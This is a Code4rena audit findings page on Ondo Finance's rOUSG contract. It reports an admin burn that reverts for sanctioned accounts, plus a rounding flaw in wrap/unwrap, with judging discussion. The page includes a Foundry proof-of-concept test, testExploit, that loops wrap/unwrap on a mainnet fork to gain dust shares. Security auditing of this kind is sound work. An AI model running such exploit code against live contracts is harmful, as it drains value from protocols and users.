Platform: Code4rena
Start Date: 29/03/2024
Pot Size: $36,500 USDC
Total HM: 5
Participants: 72
Period: 5 days
Judge: 3docSec
Total Solo HM: 1
Id: 357
League: ETH
Rank: 22/72
Findings: 2
Award: $72.43
🌟 Selected for report: 0
🚀 Solo Findings: 0
64.1515 USDC - $64.15
The functionality intended to allow administrators to burn rOUSG tokens from any account fails when the account in question is either not KYC compliant or is on a sanctions list. This limitation undermines the admin's ability to manage tokens in a way that may be necessary for regulatory compliance, token supply adjustment, or other critical administrative functions.
In rOUSG contract, the burn
function allows admin to burn tokens from any specified account.
/** * @notice Admin burn function to burn rOUSG tokens from any account * @param _account The account to burn tokens from * @param _amount The amount of rOUSG tokens to burn * @dev Transfers burned shares (OUSG) to `msg.sender` */ function burn( address _account, uint256 _amount ) external onlyRole(BURNER_ROLE) { uint256 ousgSharesAmount = getSharesByROUSG(_amount); if (ousgSharesAmount < OUSG_TO_ROUSG_SHARES_MULTIPLIER) revert UnwrapTooSmall(); _burnShares(_account, ousgSharesAmount); ousg.transfer( msg.sender, ousgSharesAmount / OUSG_TO_ROUSG_SHARES_MULTIPLIER ); emit Transfer(address(0), msg.sender, getROUSGByShares(ousgSharesAmount)); emit TransferShares(_account, address(0), ousgSharesAmount); }
When the _burnShares
function is called, it has a _beforeTokenTransfer
hook that checks if the from
address (the account which token is burnt) is KYCed or in sanction list. If the account is not KYCed and in sanction list, then the call would revert.
function _beforeTokenTransfer( address from, address to, uint256 ) internal view { // Check constraints when `transferFrom` is called to facliitate // a transfer between two parties that are not `from` or `to`. if (from != msg.sender && to != msg.sender) { require(_getKYCStatus(msg.sender), "rOUSG: 'sender' address not KYC'd"); } if (from != address(0)) { // If not minting require(_getKYCStatus(from), "rOUSG: 'from' address not KYC'd"); } if (to != address(0)) { // If not burning require(_getKYCStatus(to), "rOUSG: 'to' address not KYC'd"); } }
This setup inadvertently restricts the admin's ability to burn tokens, meaning break the functionality of the burn function
Manual
In case of burning from admin, allow to burn without checking the KYC status of the account.
function _beforeTokenTransfer( address from, address to, uint256 ) internal view { + bool isBurningByAdmin = (to == address(0) && hasRole(BURNER_ROLE, msg.sender)); + if (!isBurningByAdmin) { if (from != msg.sender && to != msg.sender) { require(_getKYCStatus(msg.sender), "rOUSG: 'sender' address not KYC'd"); } if (from != address(0)) { // If not minting require(_getKYCStatus(from), "rOUSG: 'from' address not KYC'd"); } if (to != address(0)) { // If not burning require(_getKYCStatus(to), "rOUSG: 'to' address not KYC'd"); } } }
Token-Transfer
#0 - 0xRobocop
2024-04-04T05:08:20Z
Consider QA.
DoS is temporary at worst, CONFIGURER_ROLE
can change the KYCRegistry contract.
#1 - c4-pre-sort
2024-04-04T05:08:23Z
0xRobocop marked the issue as primary issue
#2 - c4-pre-sort
2024-04-04T05:08:27Z
0xRobocop marked the issue as insufficient quality report
#3 - YD-Lee
2024-04-09T00:15:59Z
Consider QA.
DoS is temporary at worst,
CONFIGURER_ROLE
can change the KYCRegistry contract.
Hi @0xRobocop , I think this is valid. It's true the CONFIGURER_ROLE
can change the user's kycState
, but the role cannot change the sanctionsList
, as the only provided function in ISanctionsList.sol
is isSanctioned
. So if user is sanctioned, admin cannot burn the user's rOUSG tokens.
interface ISanctionsList { function isSanctioned(address addr) external view returns (bool); }
#4 - c4-judge
2024-04-09T08:29:42Z
3docSec marked the issue as satisfactory
#5 - c4-judge
2024-04-09T08:38:13Z
3docSec marked issue #32 as primary and marked this issue as a duplicate of 32
#6 - YD-Lee
2024-04-09T11:52:54Z
3docSec marked issue #32 as primary and marked this issue as a duplicate of 32
Hi @c4-judge @3docSec , I do not think this is a duplicate of #32. #32 only shows the admin cannot burn tokens after address is removed from KYC list. This only causes a temporary DoS at worst (like @0xRobocop said above), as admin can first add the address to KYC, burn the tokens, and then remove the address from KYC.
The point is admin cannot burn tokens from sanctioned addresses, instead of un-KYC addresses.
#7 - 3docSec
2024-04-09T11:58:38Z
@YD-Lee please refrain from commenting on issues outside of the post-judging-QA period. While you wait for this timeframe, you can review the backstage guidelines that include this and many more guidelines you should follow to keep your backstage access.
#8 - thangtranth
2024-04-11T09:26:25Z
Hi @3docSec,
Can you please help review this? I think @YD-Lee is correct to point out that:
So a valid issue has to point out both conditions or at least sanction condition.
Thank you.
#9 - 3docSec
2024-04-11T11:12:09Z
Interesting point.
In general, I would very much agree with you, but this specific case is a little different because the KYC and blocklists are checked together by the KYCRegistry.
So among the #32 group, each and every finding that suggests bypassing the KYC check implicitly covers the blocklist case, and root causes having the same reasonable fix are treated as the same finding on C4.
🌟 Selected for report: immeas
Also found by: 0xAkira, 0xCiphky, 0xGreyWolf, 0xJaeger, 0xMosh, 0xabhay, 0xlemon, 0xmystery, 0xweb3boy, Aamir, Abdessamed, Aymen0909, Breeje, DanielArmstrong, DarkTower, Dots, EaglesSecurity, FastChecker, HChang26, Honour, IceBear, JC, K42, Krace, MaslarovK, Omik, OxTenma, SAQ, Shubham, Stormreckson, Tigerfrake, Tychai0s, VAD37, ZanyBonzy, albahaca, arnie, ast3ros, asui, b0g0, bareli, baz1ka, btk, caglankaan, carrotsmuggler, cheatc0d3, dd0x7e8, grearlake, igbinosuneric, jaydhales, kaden, kartik_giri_47538, m4ttm, ni8mare, niser93, nonn_ac, oualidpro, pfapostol, pkqs90, popeye, radev_sw, samuraii77, slvDev, zabihullahazadzoi
8.2807 USDC - $8.28
https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L424-L443 https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L360-L368
Users receive free shares when wrap and unwrap, users can repeatly do it to earn free shares. This can accummulated for many users lead to overstate of rOUSG supply
When unwrapping rOUSG tokens to OUSG tokens, the amount of burnt shares from the users are calculated by getSharesByROUSG
function.
/** * @notice Function called by users to unwrap their rOUSG tokens * * @param _rOUSGAmount The amount of rOUSG to unwrap * * @dev KYC checks implicit in OUSG Transfer */ function unwrap(uint256 _rOUSGAmount) external whenNotPaused { require(_rOUSGAmount > 0, "rOUSG: can't unwrap zero rOUSG tokens"); uint256 ousgSharesAmount = getSharesByROUSG(_rOUSGAmount); if (ousgSharesAmount < OUSG_TO_ROUSG_SHARES_MULTIPLIER) revert UnwrapTooSmall(); _burnShares(msg.sender, ousgSharesAmount); ousg.transfer( msg.sender, ousgSharesAmount / OUSG_TO_ROUSG_SHARES_MULTIPLIER ); emit Transfer(msg.sender, address(0), _rOUSGAmount); emit TransferShares(msg.sender, address(0), ousgSharesAmount); }
In function getSharesByROUSG
, the shares are calculated by _rOUSGAmount/OUSG price
. However the function is rounded down. It means that the burned shares are less than the shares that users received when minting the same ROUSG amount.
/** * @return the amount of shares that corresponds to `_rOUSGAmount` of rOUSG */ function getSharesByROUSG( uint256 _rOUSGAmount ) public view returns (uint256) { return (_rOUSGAmount * 1e18 * OUSG_TO_ROUSG_SHARES_MULTIPLIER) / getOUSGPrice(); }
Users can call wrap and unwrap repeatedly, due to the rouding down issue, he receives free shares.
In this scenario:
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.16; import {Test, console} from "forge-std/Test.sol"; import "../contracts/ousg/ousg.sol"; import "../contracts/ousg/rOUSGFactory.sol"; import "../contracts/kyc/KYCRegistry.sol"; import "./helpers/DeltaCheckHarness.sol"; import "../contracts/PricerWithOracle.sol"; import "../contracts/external/openzeppelin/contracts/token/IERC20.sol"; import "../contracts/ousg/ousgInstantManager.sol"; import "./helpers/MockBUIDLRedeemer.sol"; import "../contracts/interfaces/IRWALike.sol"; import "../contracts/external/openzeppelin/contracts-upgradeable/token/ERC20/ERC20PresetMinterPauserUpgradeable.sol"; import "forge-tests/ousg/OUSGInstantManager/buidl_helper.sol"; contract OUGSTest is Test, BUIDLHelper { address constant OUSG_GUARDIAN = 0xAEd4caF2E535D964165B4392342F71bac77e8367; address constant OUSG_ADDRESS = 0x1B19C19393e2d034D8Ff31ff34c81252FcBbee92; address PROD_REGISTRY = 0x7cE91291846502D50D635163135B2d40a602dc70; address BUILD_REDEEMER = 0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53; IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 constant BUIDL = IERC20(0x7712c34205737192402172409a8F7ccef8aA2AEc); address oracle = 0x0502c5ae08E7CD64fe1AEDA7D6e229413eCC6abe; address constant instantMintAssetManager = address(0xBAEBAE); address constant feeRecipient = address(0x123456); uint256 constant OUSG_KYC_REQUIREMENT_GROUP = 1; address constant guardian = address(0xFEDBAD); address constant pauser = address(0xFFFFFFF); address constant alice = address(0x9999991); address constant bob = address(0x9999992); address constant charlie = address(0x9999993); address constant badActor = address(0xBADBAD); KYCRegistry registry; DeltaCheckHarness oracleCheckHarnessOUSG; PricerWithOracle pricerOusg; ROUSG rOUSGToken; // Proxy with abi of implementation TokenProxy rOUSGProxy; ProxyAdmin rOUSGProxyAdmin; ROUSG rOUSGImplementation; OUSGInstantManager ousgInstantManager; BUIDLRedeemerMock mockBUIDLRedeemer; IRWALike ousg; function setUp() public virtual { vm.createSelectFork(vm.rpcUrl("https://eth.llamarpc.com")); oracleCheckHarnessOUSG = new DeltaCheckHarness(); oracleCheckHarnessOUSG.setPrice(100e18); pricerOusg = new PricerWithOracle( address(guardian), // Admin address(this), // Pricer address(oracleCheckHarnessOUSG) ); oracleCheckHarnessOUSG.setOwner(address(pricerOusg)); registry = KYCRegistry(PROD_REGISTRY); vm.prank(OUSG_GUARDIAN); registry.grantRole(bytes32(0), address(this)); bytes32 groupRole = registry.kycGroupRoles(1); vm.prank(OUSG_GUARDIAN); registry.grantRole(groupRole, address(this)); ROUSGFactory factory = new ROUSGFactory(OUSG_GUARDIAN); vm.startPrank(OUSG_GUARDIAN); (address proxy, address proxyAdmin, address implementation) = factory .deployRebasingOUSG( address(registry), OUSG_KYC_REQUIREMENT_GROUP, OUSG_ADDRESS, address(oracleCheckHarnessOUSG) ); rOUSGToken = ROUSG(proxy); rOUSGProxy = TokenProxy(payable(proxy)); rOUSGProxyAdmin = ProxyAdmin(proxyAdmin); rOUSGImplementation = ROUSG(implementation); rOUSGToken.grantRole(rOUSGToken.PAUSER_ROLE(), pauser); _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(address(rOUSGToken))); vm.stopPrank(); mockBUIDLRedeemer = new BUIDLRedeemerMock(address(BUIDL)); deal(address(USDC), address(mockBUIDLRedeemer), 250_000e6); IOUSGInstantManager.RateLimiterConfig memory rateLimiterConfig = IOUSGInstantManager .RateLimiterConfig( 0, // _instantMintResetDuration 0, // _instantRedemptionResetDuration 100_000e6, // _instantMintLimit 100_000e6 // _instantRedemptionLimit ); ousgInstantManager = new OUSGInstantManager( OUSG_GUARDIAN, // defaultAdmin address(USDC), // _usdc instantMintAssetManager, // _usdcReceiver feeRecipient, // _feeReceiver address(oracleCheckHarnessOUSG), // _oracle OUSG_ADDRESS, // _ousg address(rOUSGToken), // _rOUSG address(BUIDL), // _buidl // BUILD_REDEEMER, address(mockBUIDLRedeemer), // buidlRedeemer rateLimiterConfig ); ousg = IRWALike(OUSG_ADDRESS); vm.startPrank(OUSG_GUARDIAN); CashKYCSenderReceiver ousgProxied = CashKYCSenderReceiver(address(ousg)); ousgProxied.grantRole( ousgProxied.MINTER_ROLE(), address(ousgInstantManager) ); _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(ousgInstantManager)); // ousgInstantManager.setMintFee(100); // ousgInstantManager.setRedeemFee(100); ousgInstantManager.setMinimumDepositAmount(10000); vm.stopPrank(); // Other setup _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, alice); _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(mockBUIDLRedeemer)); _whitelistBUIDLWallet(address(ousgInstantManager)); _whitelistBUIDLWallet(address(mockBUIDLRedeemer)); } function testExploit() public { deal(address(USDC), alice, 150_000e6); deal(address(USDC), address(ousgInstantManager), 250_000e6); deal(address(BUIDL), address(ousgInstantManager), 250_000e6); oracleCheckHarnessOUSG.setPrice(105555920000000000000); // Alice mint OUSG vm.startPrank(alice); USDC.approve(address(ousgInstantManager), 150_000e6); ousgInstantManager.mint(100_000e6); ousg.approve(address(rOUSGToken), type(uint256).max); for (uint256 i = 0; i < 10000; i++) { // Wrap 10003 OUSG and receives 1055875 rOUSG. Unwrap all amounts rOUSGToken.wrap(10003); rOUSGToken.unwrap(1055875); // 10003 * 1e3 * 105555920000000000000 / (1e18 * OUSG_TO_ROUSG_SHARES_MULTIPLIER) console.log("Balance of free share after wrap unwrap: ", rOUSGToken.sharesOf(alice)); } console.log("Balance free share: ", rOUSGToken.sharesOf(alice)); // 830000 } }
Manual
Using the same approach as ERC4626, allow redeem in shares and rounding up when convert rOUSG to shares for redeeming.
Math
#0 - c4-pre-sort
2024-04-05T02:37:03Z
0xRobocop marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-04-05T02:37:07Z
0xRobocop marked the issue as primary issue
#2 - c4-pre-sort
2024-04-05T02:37:26Z
0xRobocop marked the issue as high quality report
#3 - cameronclifton
2024-04-05T23:13:35Z
The attack seems unfeasible due to gas costs but interesting nonetheless. Please provide a concrete mitigation suggestion.
#4 - c4-sponsor
2024-04-05T23:14:25Z
cameronclifton (sponsor) acknowledged
#5 - c4-sponsor
2024-04-08T15:00:49Z
cameronclifton (sponsor) disputed
#6 - 3docSec
2024-04-09T07:12:01Z
The provided PoC did not compile so I couldn't play with it to assess impact.
I will provisionally downgrade it to QA as the sponsor agreed on the rounding error; if the warden participates in the PJQA, they are invited to provide a working PoC that highlights a proper HM impact. If this is not provided, this finding will stay as QA.
#7 - c4-judge
2024-04-09T07:12:07Z
3docSec changed the severity to QA (Quality Assurance)
#8 - c4-judge
2024-04-09T07:12:11Z
3docSec marked the issue as grade-b
#9 - thangtranth
2024-04-10T11:14:49Z
hi @3docSec,
Sorry, the test above missed a helper function. Please:
forge-tests/POC.t.sol
forge test -vvv --match-path forge-tests/POC.t.sol --match-test testExploit
https://gist.github.com/thangtranth/2ff5ecbb2ba75690dc236e8b0dcf1181
#10 - 3docSec
2024-04-10T11:42:13Z
Nice, thank you.
@thangtranth can you help clarify if there is any impact other than balance accounting being not by dust amounts?
We're mostly looking for H/M impacts as described here; if no impact can be proven, other than dust balance inflation, this finding will have to stay as QA.
#11 - thangtranth
2024-04-11T09:17:20Z
Hi @3docSec,
I submit this issue because this is a feasible way to amplify the amount of imprecision discrepancies in accounting multiple times and give the users free shares.
From the readme docs:
Rebasing Precision Issue - rOUSG is a rebasing tokens and some precision can be lost when wrapping and unwrapping. We expect this to only result in extremely small precision discrepancies. However, if one can find a realistic usage of the contracts that results in a non-trivial amount of imprecision, it would be valid.
Thank you.
#12 - 3docSec
2024-04-11T09:27:17Z
The sponsor and I both agree that this is a trivial amount of imprecision because it's 83 wei's per loop cycle that costs gas (gwei's) to the attacker; you have the possibility to prove a higher impact from your finding to have it considered as a valid M. Otherwise, it will stay QA.
#13 - thangtranth
2024-04-11T09:30:29Z
If the the sponsor is aware of it and find it ok. I think it's fair for it to stay QA. Thanks.